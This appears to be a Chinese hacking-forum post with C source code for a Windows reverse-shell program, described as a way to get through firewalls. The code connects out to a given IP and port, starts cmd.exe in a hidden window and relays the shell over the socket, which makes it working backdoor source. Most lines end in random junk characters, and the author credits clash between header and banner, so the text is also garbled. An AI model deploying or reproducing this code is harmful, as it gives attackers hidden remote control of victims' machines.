这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :,$"Gk
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/* ============================== g__s(
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Rebound port in Windows NT PC255
By wind,2006/7 Pq{p\Qkj
===============================*/ RZnmia
#include /D|q-`*K
#include %Q}(.h%M
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#pragma comment(lib,"wsock32.lib") 7l*vmF6Z
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void OutputShell(); >6WZSw/Hq
SOCKET sClient; >P} XCAU
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; g;[t1~oF
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void main(int argc,char **argv) 'T qF}a7
{ .ej+?QYwC
WSADATA stWsaData; DYIp2-K
int nRet; sy4Nm0m
SOCKADDR_IN stSaiClient,stSaiServer; `@,Vbn^_
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if(argc != 3) l(F\5Ys
{ ?uJX
printf("Useage:\n\rRebound DestIP DestPort\n"); l:/x&=w
return; Ets6tM`
} #bG6+"g{=L
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WSAStartup(MAKEWORD(2,2),&stWsaData); L>7@!/9L
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); # SJJ@SM
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stSaiClient.sin_family = AF_INET; &{qKoI]
stSaiClient.sin_port = htons(0); c(5XT[Tw
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); w0H#M)c
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) H~Uy/22aQy
{ `e3$jy@
printf("Bind Socket Failed!\n"); HKO]_; :(
return; 9CN'29c
} {5%d#|?
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stSaiServer.sin_family = AF_INET; +NvpYz
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); w"QZ7EyJ
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); tgl 4pAc
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 0fUsERr1*
{ _T8S4s8q
printf("Connect Error!"); w?N>3`Jnf
return; Sx0{]1J
} JxLfDr,dy
OutputShell(); kw2d<I$]
} dmLx $8
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void OutputShell() UH\{:@GjNO
{ O1DUBRli!q
char szBuff[1024]; asmu<
SECURITY_ATTRIBUTES stSecurityAttributes; "f~OC<GdYs
OSVERSIONINFO stOsversionInfo; l2dj GZk
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >*!^pbZfX
STARTUPINFO stStartupInfo; 7(^F@,,@
char *szShell; ^\J-LU|"B
PROCESS_INFORMATION stProcessInformation; tuuwoiQ*`
unsigned long lBytesRead; Zv-1*hhHf
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); EQ :>]O
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `Gl[e4U
stSecurityAttributes.lpSecurityDescriptor = 0; )<_qTd0`
stSecurityAttributes.bInheritHandle = TRUE; (FgX9SV]p9
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}? c%L8\
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]gaeN2
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); &1`Y&x:p
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); qZ@d:u
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5tZ0zr
stStartupInfo.wShowWindow = SW_HIDE; m!P<#
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stStartupInfo.hStdInput = hReadPipe; .j**>&7L
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; $MfRw
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GetVersionEx(&stOsversionInfo); Q|S>C%4?
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switch(stOsversionInfo.dwPlatformId) y*US^HJOZ
{ [fo#){3K
case 1: X-TGrdoX
szShell = "command.com"; w1VYU>
break; SB .=x
default: EIyFGCw|U
szShell = "cmd.exe"; WpnP^gmX
break; 9d(#/n
} -Wh 2hWg+
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);
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send(sClient,szMsg,77,0); bQwG"N
while(1) &?Q^i">cZ
{ Y5;afU='
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); H=g%>W%3
if(lBytesRead) `8Ych@f]
{ 6KXW]a `
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); vH1,As
send(sClient,szBuff,lBytesRead,0); u^CL }t*
} o90g;Vog
else UX<-jY#'V
{ k*\)z\f
lBytesRead=recv(sClient,szBuff,1024,0); ^yq}>_
if(lBytesRead<=0) break; d%epM5
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); #<Xq\yC51
} ~UNha/nt
} &/)B d%
/ #rH18
return; u U>L (
}